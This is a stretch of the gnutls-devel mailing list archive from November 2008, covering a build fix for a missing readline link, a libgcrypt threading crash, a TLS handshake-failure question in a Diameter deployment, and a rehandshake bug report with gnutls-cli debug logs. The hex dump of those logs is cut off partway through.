-Wvolatile-register-var -Wdisabled-optimization -Wstack-protector -Woverlength-strings -Wno-missing-field-initializers -Wno-sign-compare -Wno-pointer-sign -Wno-unused-parameter -fdiagnostics-show-option -march=athlon64 -pipe -O3 -Wl,-O1 -Wl,--as-needed -Wl,--gc-sections -Wl,--hash-style=gnu -Wl,--sort-common -o .libs/certtool certtool.o prime.o ../lib/.libs/libgnutls.so -L/usr/lib ../libextra/.libs/libgnutls-extra.so /usr/lib/liblzo2.so /var/tmp/portage/net-libs/gnutls-2.7.2/work/gnutls-2.7.2/lib/.libs/libgnutls.so /usr/lib/libtasn1.so -lz /usr/lib/libgcrypt.so /usr/lib/libgpg-error.so ../gl/.libs/libgnu.a ../lib/gl/.libs/liblgnu.a -lreadline ./.libs/libcmd-certtool.a ./.libs/libcfg.a ./.libs/libcmd-certtool.a(libcmd_certtool_la-certtool-cfg.o): In function `read_int_with_default': certtool-cfg.c:(.text+0x1e3): undefined reference to `readline' collect2: ld returned 1 exit status make[3]: *** [certtool] Error 1 make[3]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.2/work/gnutls-2.7.2/src' make[2]: *** [all-recursive] Error 1 make[2]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.2/work/gnutls-2.7.2/src' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.2/work/gnutls-2.7.2' make: *** [all] Error 2 I'm attaching the patch which fixes this problem. -- Arfrever Frehtes Taifersar Arahesis -------------- next part -------------- A non-text attachment was scrubbed... Name: gnutls-2.7.2-as-needed.patch Type: text/x-diff Size: 376 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 197 bytes Desc: This is a digitally signed message part. URL: From nmav at gnutls.org Sun Nov 23 09:02:10 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Sun, 23 Nov 2008 10:02:10 +0200 Subject: Bug#480041: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: <20081122221300.GA20323@manyfish.co.uk> References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> <20081121082944.GA22857@manyfish.co.uk> <20081121132040.GA25245@manyfish.co.uk> <87zljss3zq.fsf@squeak.fifthhorseman.net> <20081122080503.GA15594@manyfish.co.uk> <87bpw7pp58.fsf@squeak.fifthhorseman.net> <20081122221300.GA20323@manyfish.co.uk> Message-ID: <49290E02.1080302@gnutls.org> Joe Orton wrote: > On Sat, Nov 22, 2008 at 01:54:43PM -0500, Daniel Kahn Gillmor wrote: >> On Sat 2008-11-22 03:05:03 -0500, Joe Orton wrote: >> [0 dkg at squeak cdtemp.oNUHIC]$ svn co https://foo.example.org/svn/monkey/trunk/gorilla >> svn: OPTIONS of 'https://foo.example.org/svn/monkey/trunk/gorilla: >> Could not read status line: SSL error: Decryption has failed. >> (https://foo.example.org) >> [1 dkg at squeak cdtemp.oNUHIC]$ >> >> But it's still not just going ahead with the checkout the way it does >> when i use the openssl version of libneon. Can i give you more >> detailed debugging info somehow? > > Interesting, thanks for trying that out. I'm not sure what else neon > could do to make this work correctly so I think further diagnosis based > on packet traces will be needed. I can try to work on that sometime in > the coming week, with luck. > It might be useful to modify gnutls-cli to call gnutls_rehandshake() in > the same fashion as my patch to neon, to get some debugging traces from > GnuTLS, if you wanted to try that. The git version of gnutls-cli (both in main and 2.6 branches) support this behavior. regards, Nikos From simon at josefsson.org Sun Nov 23 16:52:21 2008 From: simon at josefsson.org (Simon Josefsson) Date: Sun, 23 Nov 2008 16:52:21 +0100 Subject: GnuTLS 2.7.2 fails to build with -Wl,--as-needed in LDFLAGS In-Reply-To: <200811230019.26429.Arfrever.FTA@gmail.com> (Arfrever Frehtes Taifersar Arahesis's message of "Sun, 23 Nov 2008 00:18:43 +0100") References: <200811230019.26429.Arfrever.FTA@gmail.com> Message-ID: <877i6uv3re.fsf@mocca.josefsson.org> Arfrever Frehtes Taifersar Arahesis writes: > ./.libs/libcmd-certtool.a(libcmd_certtool_la-certtool-cfg.o): In function `read_int_with_default': > certtool-cfg.c:(.text+0x1e3): undefined reference to `readline' Thanks, should be fixed by: http://git.savannah.gnu.org/gitweb/?p=gnutls.git;a=commitdiff;h=490aa118b953284c19f908c5fb8f7b19a37989f3 /Simon From colin at colino.net Wed Nov 26 12:23:01 2008 From: colin at colino.net (Colin Leroy) Date: Wed, 26 Nov 2008 12:23:01 +0100 Subject: Crash in GnuTLS 2.4.1 Message-ID: <20081126122301.02c43807@paperstreet.colino.net> Hi, Does such a backtrace ring a bell for someone? #0 0x00007f9a9a0e7fd5 in raise () from /lib/libc.so.6 (gdb) bt #0 0x00007f9a9a0e7fd5 in raise () from /lib/libc.so.6 #1 0x00007f9a9a0e9b43 in abort () from /lib/libc.so.6 #2 0x00007f9a9a0e0d49 in __assert_fail () from /lib/libc.so.6 #3 0x00007f9a9afd191b in _gcry_ath_mutex_lock (lock=0x7f9a9b22ad30) at ath.c:186 #4 0x00007f9a9afdf660 in lock_pool () at random.c:299 #5 0x00007f9a9afe003e in _gcry_fast_random_poll () at random.c:1304 #6 0x00007f9a9afd3686 in _gcry_cipher_open (handle=0x3ecc, algo=16247, mode=6, flags=4294967295) at cipher.c:641 #7 0x00007f9a9b6a3ce9 in gc_cipher_open (alg=, mode=, outhandle=0x3) at gc-libgcrypt.c:180 #8 0x00007f9a9b682b78 in _gnutls_cipher_init (handle=0x26c1ac8, cipher=, key=0x26c1a88, iv=0x26c1a68) at gnutls_cipher_int.c:64 #9 0x00007f9a9b68d829 in _gnutls_read_connection_state_init (session=0x26c16e0) at gnutls_constate.c:621 #10 0x00007f9a9b67c9ee in _gnutls_recv_handshake_final (session=0x26c16e0, init=) at gnutls_handshake.c:2507 #11 0x00007f9a9b67ce89 in _gnutls_handshake_common (session=0x26c16e0) at gnutls_handshake.c:2663 #12 0x00007f9a9b67cff2 in gnutls_handshake (session=0x26c16e0) at gnutls_handshake.c:2264 Or should I see with my distro's bugtracker? Thanks, -- Colin From colin at colino.net Wed Nov 26 12:33:47 2008 From: colin at colino.net (Colin Leroy) Date: Wed, 26 Nov 2008 12:33:47 +0100 Subject: Crash in GnuTLS 2.4.1 In-Reply-To: <20081126122301.02c43807@paperstreet.colino.net> References: <20081126122301.02c43807@paperstreet.colino.net> Message-ID: <20081126123347.3428518d@paperstreet.colino.net> On Wed, 26 Nov 2008 12:23:01 +0100, Colin Leroy wrote: Hi, > #2 0x00007f9a9a0e0d49 in __assert_fail () from /lib/libc.so.6 > #3 0x00007f9a9afd191b in _gcry_ath_mutex_lock (lock=0x7f9a9b22ad30) > at ath.c:186 Btw, in my application I do have the threads setup with: gcry_control (GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread); But this application also uses a Glib main loop. Should I use gcry_threads_other instead? Thanks, -- Colin From simon at josefsson.org Wed Nov 26 12:46:56 2008 From: simon at josefsson.org (Simon Josefsson) Date: Wed, 26 Nov 2008 12:46:56 +0100 Subject: Crash in GnuTLS 2.4.1 In-Reply-To: <20081126122301.02c43807@paperstreet.colino.net> (Colin Leroy's message of "Wed, 26 Nov 2008 12:23:01 +0100") References: <20081126122301.02c43807@paperstreet.colino.net> Message-ID: <877i6qogjz.fsf@mocca.josefsson.org> Colin Leroy writes: > Hi, > > Does such a backtrace ring a bell for someone? > > #0 0x00007f9a9a0e7fd5 in raise () from /lib/libc.so.6 > (gdb) bt > #0 0x00007f9a9a0e7fd5 in raise () from /lib/libc.so.6 > #1 0x00007f9a9a0e9b43 in abort () from /lib/libc.so.6 > #2 0x00007f9a9a0e0d49 in __assert_fail () from /lib/libc.so.6 > #3 0x00007f9a9afd191b in _gcry_ath_mutex_lock (lock=0x7f9a9b22ad30) at ath.c:186 > #4 0x00007f9a9afdf660 in lock_pool () at random.c:299 > #5 0x00007f9a9afe003e in _gcry_fast_random_poll () at random.c:1304 > #6 0x00007f9a9afd3686 in _gcry_cipher_open (handle=0x3ecc, algo=16247, mode=6, flags=4294967295) > at cipher.c:641 Looks like a libgcrypt and thread related crash to me. Is your application multi-threaded? Maybe this helps: http://www.gnu.org/software/gnutls/manual/html_node/Multi_002dthreaded-applicati ons.html /Simon > #7 0x00007f9a9b6a3ce9 in gc_cipher_open (alg=, mode=, > outhandle=0x3) at gc-libgcrypt.c:180 > #8 0x00007f9a9b682b78 in _gnutls_cipher_init (handle=0x26c1ac8, cipher=, > key=0x26c1a88, iv=0x26c1a68) at gnutls_cipher_int.c:64 > #9 0x00007f9a9b68d829 in _gnutls_read_connection_state_init (session=0x26c16e0) at gnutls_constate.c:621 > #10 0x00007f9a9b67c9ee in _gnutls_recv_handshake_final (session=0x26c16e0, init=) > at gnutls_handshake.c:2507 > #11 0x00007f9a9b67ce89 in _gnutls_handshake_common (session=0x26c16e0) at gnutls_handshake.c:2663 > #12 0x00007f9a9b67cff2 in gnutls_handshake (session=0x26c16e0) at gnutls_handshake.c:2264 > > Or should I see with my distro's bugtracker? > > Thanks, From colin at colino.net Wed Nov 26 12:55:08 2008 From: colin at colino.net (Colin Leroy) Date: Wed, 26 Nov 2008 12:55:08 +0100 Subject: Crash in GnuTLS 2.4.1 In-Reply-To: <877i6qogjz.fsf@mocca.josefsson.org> References: <20081126122301.02c43807@paperstreet.colino.net> <877i6qogjz.fsf@mocca.josefsson.org> Message-ID: <20081126125508.3d37b2b5@paperstreet.colino.net> On Wed, 26 Nov 2008 12:46:56 +0100, Simon Josefsson wrote: Hi, > Looks like a libgcrypt and thread related crash to me. Is your > application multi-threaded? Maybe this helps: > > http://www.gnu.org/software/gnutls/manual/html_node/Multi_002dthreaded-applicati > ons.html Looking more closely at it, I noticed /* The order matters. */ I've fixed the order, we'll see what happens next :-) Thanks, -- Colin From simon at josefsson.org Wed Nov 26 12:55:33 2008 From: simon at josefsson.org (Simon Josefsson) Date: Wed, 26 Nov 2008 12:55:33 +0100 Subject: Crash in GnuTLS 2.4.1 In-Reply-To: <20081126123347.3428518d@paperstreet.colino.net> (Colin Leroy's message of "Wed, 26 Nov 2008 12:33:47 +0100") References: <20081126122301.02c43807@paperstreet.colino.net> <20081126123347.3428518d@paperstreet.colino.net> Message-ID: <87y6z6n1l6.fsf@mocca.josefsson.org> Colin Leroy writes: > On Wed, 26 Nov 2008 12:23:01 +0100, Colin Leroy wrote: > > Hi, > >> #2 0x00007f9a9a0e0d49 in __assert_fail () from /lib/libc.so.6 >> #3 0x00007f9a9afd191b in _gcry_ath_mutex_lock (lock=0x7f9a9b22ad30) >> at ath.c:186 > > Btw, in my application I do have the threads setup with: > gcry_control (GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread); > > But this application also uses a Glib main loop. Should I use > gcry_threads_other instead? I don't know. Maybe ask on the libgcrypt list? Btw, one idea is to make sure that your call above is invoked before libgcrypt is initialized. Maybe your gcry_control call is too late. /Simon From Richard.Metzler at lhsgroup.com Thu Nov 27 09:21:25 2008 From: Richard.Metzler at lhsgroup.com (Metzler, Richard) Date: Thu, 27 Nov 2008 09:21:25 +0100 Subject: TLS handshake problems Message-ID: Hello, currently I am testing a TLS connection using Gnu TLS 2.2.5.on server and client side. For the TCP communication Diameter is used. There are situations that on both sides the TLS handshake fails, e.g. due to a wrong client certificate (Gnu TLS error code NO_CERTIFICATE_FOUND). But in this special case the server finishes the handshake with error and the client is still waiting in the handshake. Now the server announces closing the connection to the client by sending the Diameter disconnect message (DPR). This message is received by the client Gnu TLS when expecting a TLS message, preventing a correct shut down of the connection. To avoid this problem I added a call to gnutls_alert_send_appropriate in case the server finishes the handshake with errors. This helps to finish the handshake on the client side in this case, but there are situations when the handshake is finished on both sides with an error. Then the additional alert message would be interpreted on the client side as Diameter message which also is not correct. My question is, is there a way for the server to decide whether the alert has to be sent or not, i.e. to detect the state of the client - maybe by evaluating the result code of the handshake? Regards, Richard ---------------------------------------------------------------------------------------------------------------------------------------- LHS Telekommunikation GmbH & Co. KG, Address: Herriotstrasse 1, D-60528 Frankfurt, Germany, Phone +49 (0)69 2383 3000, Fax +49 (0)69 2383 5000 Commercial Register: Amtsgericht Frankfurt/Main - Registration Number HRA 42727 Personally Liable Partner: LHS Management GmbH - Registration Number HRB 75504 Amtsgericht Frankfurt/Main Managing Directors: Wolfgang Kroh, Axel Barta, Dr. Jens Troetscher ---------------------------------------------------------------------------------------------------------------------------------------- -------------- next part -------------- An HTML attachment was scrubbed... URL: From sdecugis at nict.go.jp Fri Nov 28 02:23:55 2008 From: sdecugis at nict.go.jp (Sebastien Decugis) Date: Fri, 28 Nov 2008 10:23:55 +0900 Subject: TLS handshake problems In-Reply-To: References: Message-ID: <492F482B.8090801@nict.go.jp> Hello, This is not an answer to your TLS problem, but I'd like to highlight that in Diameter if the TLS handshake fails you don't have to send a DPR. Here is an extract from draft-ietf-dime-rfc3588bis-14 section 5.6: " If the TLS handshake is successful, all further messages will be sent via TLS. If the handshake fails, both ends move to the closed state." I believe this provides you a workaround for your problem, since if the connection is simply closed, your client will exit the handshake routine. Best regards, Sebastien. Metzler, Richard a ?crit : > > Hello, > > currently I am testing a TLS connection using Gnu TLS 2.2.5.on server > and client side. For the TCP communication Diameter is used. > > There are situations that on both sides the TLS handshake fails, e.g. > due to a wrong client certificate (Gnu TLS error code > NO_CERTIFICATE_FOUND). But in this special case the server finishes > the handshake with error and the client is still waiting in the handshake. > > Now the server announces closing the connection to the client by > sending the Diameter disconnect message (DPR). This message is > received by the client Gnu TLS when expecting a TLS message, > preventing a correct shut down of the connection. > > To avoid this problem I added a call to gnutls_alert_send_appropriate > in case the server finishes the handshake with errors. This helps to > finish the handshake on the client side in this case, but there are > situations when the handshake is finished on both sides with an error. > Then the additional alert message would be interpreted on the client > side as Diameter message which also is not correct. > > My question is, is there a way for the server to decide whether the > alert has to be sent or not, i.e. to detect the state of the client ? > maybe by evaluating the result code of the handshake? > > Regards, > > Richard > > > > ---------------------------------------------------------------------------------------------------------------------------------------- > > LHS Telekommunikation GmbH & Co. KG, > > Address: Herriotstrasse 1, D-60528 Frankfurt, Germany, > > Phone +49 (0)69 2383 3000, Fax +49 (0)69 2383 5000 > > Commercial Register: Amtsgericht Frankfurt/Main - Registration Number > HRA 42727 > > Personally Liable Partner: LHS Management GmbH - Registration Number > HRB 75504 > > Amtsgericht Frankfurt/Main > > Managing Directors: Wolfgang Kroh, Axel Barta, Dr. Jens Troetscher > > ---------------------------------------------------------------------------------------------------------------------------------------- > > ------------------------------------------------------------------------ > > _______________________________________________ > Gnutls-devel mailing list > Gnutls-devel at gnu.org > http://lists.gnu.org/mailman/listinfo/gnutls-devel > -- Sebastien Decugis Research fellow Network Architecture Group NICT (nict.go.jp) From joe at manyfish.co.uk Fri Nov 28 15:47:22 2008 From: joe at manyfish.co.uk (Joe Orton) Date: Fri, 28 Nov 2008 14:47:22 +0000 Subject: Bug#480041: confirmation that debian #480041 is a gnutls problem, and steps to reproduce In-Reply-To: <49290E02.1080302@gnutls.org> References: <87od0aymi1.fsf@squeak.fifthhorseman.net> <49266212.6030004@gnutls.org> <20081121082944.GA22857@manyfish.co.uk> <20081121132040.GA25245@manyfish.co.uk> <87zljss3zq.fsf@squeak.fifthhorseman.net> <20081122080503.GA15594@manyfish.co.uk> <87bpw7pp58.fsf@squeak.fifthhorseman.net> <20081122221300.GA20323@manyfish.co.uk> <49290E02.1080302@gnutls.org> Message-ID: <20081128144722.GA5407@manyfish.co.uk> I've tried this using a git build of GnuTLS, gnutls-cli and a test httpd/mod_ssl server configured for per-location client cert auth (i.e. it requests a second handshake after the GET request is recevied), and it does fail, so I think this is indeed a GnuTLS bug in the handling of rehandshakes. Attached: 1) gnutls-cli log output from testing using httpd/mod_ssl 2) patch to tests/x509self.c which attempts to replicate this test case 3) stdout and stderr output from running (2) -------------- next part -------------- |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_RSA_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_RSA_AES_256_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_RSA_3DES_EDE_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_DSS_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_DSS_AES_256_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_DSS_3DES_EDE_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_DSS_ARCFOUR_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_PSK_SHA_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_PSK_SHA_AES_256_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_PSK_SHA_3DES_EDE_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_PSK_SHA_ARCFOUR_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_RSA_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_RSA_AES_256_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_RSA_3DES_EDE_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_DSS_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_DSS_AES_256_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_DSS_3DES_EDE_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_AES_256_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_3DES_EDE_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_ARCFOUR_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_ARCFOUR_MD5 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: PSK_SHA_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: PSK_SHA_AES_256_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: PSK_SHA_3DES_EDE_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: PSK_SHA_ARCFOUR_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_AES_128_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_AES_256_CBC_SHA1 |<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_3DES_EDE_CBC_SHA1 |<2>| EXT[0x1a7f3f0]: Sending extension CERT_TYPE |<2>| EXT[0x1a7f3f0]: Sending extension SERVER_NAME |<3>| HSK[0x1a7f3f0]: CLIENT HELLO was send [110 bytes] |<6>| BUF[HSK]: Peeked 0 bytes of Data |<6>| BUF[HSK]: Emptied buffer |<4>| REC[0x1a7f3f0]: Sending Packet[0] Handshake(22) with length: 110 |<2>| ASSERT: gnutls_cipher.c:204 |<7>| WRITE: Will write 115 bytes to 0x4. |<7>| WRITE: wrote 115 bytes to 0x4. Left 0 bytes. Total 115 bytes. |<7>| 0000 - 16 03 02 00 6e 01 00 00 6a 03 02 49 2f ff a3 b5 |<7>| 0001 - c1 75 14 54 24 96 73 7c cb a3 d0 e5 fe 13 28 b9 |<7>| 0002 - ed 7e 7a 6d 85 1b e5 33 bd 69 ac 00 00 28 00 33 |<7>| 0003 - 00 39 00 16 00 32 00 38 00 13 00 66 00 90 00 91 |<7>| 0004 - 00 8f 00 8e 00 2f 00 35 00 0a 00 05 00 04 00 8c |<7>| 0005 - 00 8d 00 8b 00 8a 01 00 00 19 00 09 00 03 02 00 |<7>| 0006 - 01 00 00 00 0e 00 0c 00 00 09 6c 6f 63 61 6c 68 |<7>| 0007 - 6f 73 74 |<4>| REC[0x1a7f3f0]: Sent Packet[1] Handshake(22) with length: 115 |<7>| READ: Got 5 bytes from 0x4 |<7>| READ: read 5 bytes from 0x4 |<7>| 0000 - 16 03 01 00 30 |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. |<7>| RB: Requested 5 bytes |<4>| REC[0x1a7f3f0]: Expected Packet[0] Handshake(22) with length: 1 |<4>| REC[0x1a7f3f0]: Received Packet[0] Handshake(22) with length: 48 |<7>| READ: Got 48 bytes from 0x4 |<7>| READ: read 48 bytes from 0x4 |<7>| 0000 - 02 00 00 2c 03 01 49 2f ff a3 45 b7 6d be 94 29 |<7>| 0001 - c2 9e fa 89 30 5b 0d e0 2e 82 ed 49 80 1f 1a 3c |<7>| 0002 - f3 a7 d5 9b 9d d7 00 00 33 00 00 04 00 00 00 00 |<7>| 0003 - |<7>| RB: Have 5 bytes into buffer. Adding 48 bytes. |<7>| RB: Requested 53 bytes |<2>| ASSERT: gnutls_cipher.c:204 |<4>| REC[0x1a7f3f0]: Decrypted Packet[0] Handshake(22) with length: 48 |<6>| BUF[HSK]: Inserted 48 bytes of Data(22) |<6>| BUF[REC][HD]: Read 1 bytes of Data(22) |<6>| BUF[REC][HD]: Read 3 bytes of Data(22) |<3>| HSK[0x1a7f3f0]: SERVER HELLO was received [48 bytes] |<6>| BUF[REC][HD]: Read 44 bytes of Data(22) |<6>| BUF[HSK]: Peeked 0 bytes of Data |<6>| BUF[HSK]: Emptied buffer |<6>| BUF[HSK]: Inserted 4 bytes of Data |<6>| BUF[HSK]: Inserted 44 bytes of Data |<3>| HSK[0x1a7f3f0]: Server's version: 3.1 |<3>| HSK[0x1a7f3f0]: SessionID length: 0 |<3>| HSK[0x1a7f3f0]: SessionID: |<3>| HSK[0x1a7f3f0]: Selected cipher suite: DHE_RSA_AES_128_CBC_SHA1 |<2>| EXT[0x1a7f3f0]: Received extension 'SERVER_NAME/0' |<7>| READ: Got 5 bytes from 0x4 |<7>| READ: read 5 bytes from 0x4 |<7>| 0000 - 16 03 01 05 8a |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes. |<7>| RB: Requested 5 bytes |<4>| REC[0x1a7f3f0]: Expected Packet[1] Handshake(22) with length: 1 |<4>| REC[0x1a7f3f0]: Received Packet[1] Handshake(22) with length: 1418 |<7>| READ: Got 1418 bytes from 0x4 |<7>| READ: read 1418 bytes from 0x4 |<7>| 0000 - 0b 00 05 86 00 05 83 00 02 d8 30 82 02 d4 30 82 |<7>| 0001 - 02 3d a0 03 02 01 02 02 01 0c 30 0d 06 09 2a 86 |<7>| 0002 - 48 86 f7 0d 01 01 04 05 00 30 81 94 31 0b 30 09 |<7>| 0003 - 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 |<7>| 0004 - 04 08 13 0a 43 61 6c 69 66 6f 72 6e 69 61 31 16 |<7>| 0005 - 30 14 06 03 55 04 07 13 0d 53 61 6e 20 46 72 61 |<7>| 0006 - 6e 63 69 73 63 6f 31 0c 30 0a 06 03 55 04 0a 13 |<7>| 0007 - 03 41 53 46 31 13 30 11 06 03 55 04 0b 13 0a 68 |<7>| 0008 - 74 74 70 64 2d 74 65 73 74 31 0b 30 09 06 03 55 |<7>| 0009 - 04 03 13 02 63 61 31 28 30 26 06 09 2a 86 48 86 |<7>| 000a - f7 0d 01 09 01 16 19 74 65 73 74 2d 64 65 76 40 |<7>| 000b - 68 74 74 70 64 2e 61 70 61 63 68 65 2e 6f 72 67 |<7>| 000c - 30 1e 17 0d 30 38 31 31 32 37 32 32 35 30 31 34 |<7>| 000d - 5a 17 0d 30 39 31 31 32 37 32 32 35 30 31 34 5a |<7>| 000e - 30 81 a4 31 0b 30 09 06 03 55 04 06 13 02 55 53 |<7>| 000f - 31 13 30 11 06 03 55 04 08 13 0a 43 61 6c 69 66 |<7>| 0010 - 6f 72 6e 69 61 31 16 30 14 06 03 55 04 07 13 0d |<7>| 0011 - 53 61 6e 20 46 72 61 6e 63 69 73 63 6f 31 0c 30 |<7>| 0012 - 0a 06 03 55 04 0a 13 03 41 53 46 31 1c 30 1a 06 |<7>| 0013 - 03 55 04 0b 13 13 68 74 74 70 64 2d 74 65 73 74 |<7>| 0014 - 2f 72 73 61 2d 74 65 73 74 31 12 30 10 06 03 55 |<7>| 0015 - 04 03 13 09 6c 6f 63 61 6c 68 6f 73 74 31 28 30 |<7>| 0016 - 26 06 09 2a 86 48 86 f7 0d 01 09 01 16 19 74 65 |<7>| 0017 - 73 74 2d 64 65 76 40 68 74 74 70 64 2e 61 70 61 |<7>| 0018 - 63 68 65 2e 6f 72 67 30 81 9f 30 0d 06 09 2a 86 |<7>| 0019 - 48 86 f7 0d 01 01 01 05 00 03 81 8d 00 30 81 89 |<7>| 001a - 02 81 81 00 a9 b4 c6 02 23 44 76 3a 0d 8f 3c 30 |<7>| 001b - 33 65 8b e8 e4 38 09 58 13 55 04 79 8c db 3f 0e |<7>| 001c - cf a6 d2 d1 c2 bb f0 01 6c 44 bf 40 f6 5f b1 0d |<7>| 001d - 33 01 d1 6d 2e 1f 80 77 82 6d d8 d6 5b 2b 57 6a |<7>| 001e - 8b 1d ab 50 f1 d3 a0 d2 13 5e 97 87 ed bc a3 35 |<7>| 001f - 16 07 05 02 6c 73 c1 2b cd e9 ad e1 3e ed 0f 46 |<7>| 0020 - 27 07 d3 fb a3 77 b8 6d 26 14 23 b0 43 65 00 e7 |<7>| 0021 - da 93 e4 1f 11 03 e2 8b a3 da 99 b8 6e 5e 30 c6 |<7>| 0022 - b3 06 82 89 02 03 01 00 01 a3 24 30 22 30 20 06 |<7>| 0023 - 09 60 86 48 01 86 f8 42 01 0d 04 13 16 11 54 68 |<7>| 0024 - 69 73 20 49 73 20 41 20 43 6f 6d 6d 65 6e 74 30 |<7>| 0025 - 0d 06 09 2a 86 48 86 f7 0d 01 01 04 05 00 03 81 |<7>| 0026 - 81 00 28 eb 82 ee 54 cf 10 cd 52 6b 65 85 a9 9c |<7>| 0027 - b0 03 5e 3c e6 c7 93 3a 2d 0b 32 b5 36 55 dc e8 |<7>| 0028 - a3 2e 64 44 5e 8a 34 38 00 a8 01 91 c8 67 17 da |<7>| 0029 - 87 d9 50 89 a9 b0 b3 25 57 01 40 44 a9 49 31 2c |<7>| 002a - 94 71 3f 5e d1 21 91 59 af b2 1e 70 24 67 1c b8 |<7>| 002b - 9d 9f 7d f9 a9 96 f6 71 28 39 5f e4 e4 7e 85 6d |<7>| 002c - a0 e6 93 dd c8 7a 4d 6d ed 42 1e 5c 2f f1 f1 7e |<7>| 002d - 12 ce 99 23 ae e4 6c 87 67 db b2 f7 1d 01 6a 69 |<7>| 002e - e0 06 00 02 a5 30 82 02 a1 30 82 02 0a 02 09 00 |<7>| 002f - d7 cd cc 48 ce dc da 75 30 0d 06 09 2a 86 48 86 |<7>| 0030 - f7 0d 01 01 05 05 00 30 81 94 31 0b 30 09 06 03 |<7>| 0031 - 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 |<7>| 0032 - 13 0a 43 61 6c 69 66 6f 72 6e 69 61 31 16 30 14 |<7>| 0033 - 06 03 55 04 07 13 0d 53 61 6e 20 46 72 61 6e 63 |<7>| 0034 - 69 73 63 6f 31 0c 30 0a 06 03 55 04 0a 13 03 41 |<7>| 0035 - 53 46 31 13 30 11 06 03 55 04 0b 13 0a 68 74 74 |<7>| 0036 - 70 64 2d 74 65 73 74 31 0b 30 09 06 03 55 04 03 |<7>| 0037 - 13 02 63 61 31 28 30 26 06 09 2a 86 48 86 f7 0d |<7>| 0038 - 01 09 01 16 19 74 65 73 74 2d 64 65 76 40 68 74 |<7>| 0039 - 74 70 64 2e 61 70 61 63 68 65 2e 6f 72 67 30 1e |<7>| 003a - 17 0d 30 38 31 31 32 37 32 32 35 30 31 33 5a 17 |<7>| 003b - 0d 30 39 31 31 32 37 32 32 35 30 31 33 5a 30 81 |<7>| 003c - 94 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 |<7>| 003d - 30 11 06 03 55 04 08 13 0a 43 61 6c 69 66 6f 72 |<7>| 003e - 6e 69 61 31 16 30 14 06 03 55 04 07 13 0d 53 61 |<7>| 003f - 6e 20 46 72 61 6e 63 69 73 63 6f 31 0c 30 0a 06 |<7>| 0040 - 03 55 04 0a 13 03 41 53 46 31 13 30 11 06 03 55 |<7>| 0041 - 04 0b 13 0a 68 74 74 70 64 2d 74 65 73 74 31 0b |<7>| 0042 - 30 09 06 03 55 04 03 13 02 63 61 31 28 30 26 06 |<7>| 0043 - 09 2a 86 48 86 f7 0d 01 09 01 16 19 74 65 73 74 |<7>| 0044 - 2d 64 65 76 40 68 74 74 70 64 2e 61 70 61 63 68 |<7>| 0045 - 65 2e 6f 72 67 30 81 9f 30 0d 06 09 2a 86 48 86 |<7>| 0046 - f7 0d 01 01 01 05 00 03 81 8d 00 30 81 89 02 81 |<7>| 0047 - 81 00 cc b4 9c 64 b4 77 c2 45 3e 0c f7 33 fd b0 |<7>| 0048 - e8 5f 19 a5 b9 6e 7f 7b fb eb da 6e be 26 f7 8d |<7>| 0049 - 9a d4 0b c4 49 cd 39 c3 77 47 a4 53 3a 2c 39 d1 |<7>| 004a - 90 85 dd 97 d7 ff 3e 5e be b4 86 81 7b 00 2a 3f |<7>| 004b - 7e e7 b0 4a f7 f6 6d 40 44 dc 4f de 62 5b f7 d2 |<7>| 004c - 4c a1 4b 3d 83 12 eb 84 ab 8c f6 5e 8a 5c 67 4e |<7>| 004d - 00 7b 80 d2 54 c8 13 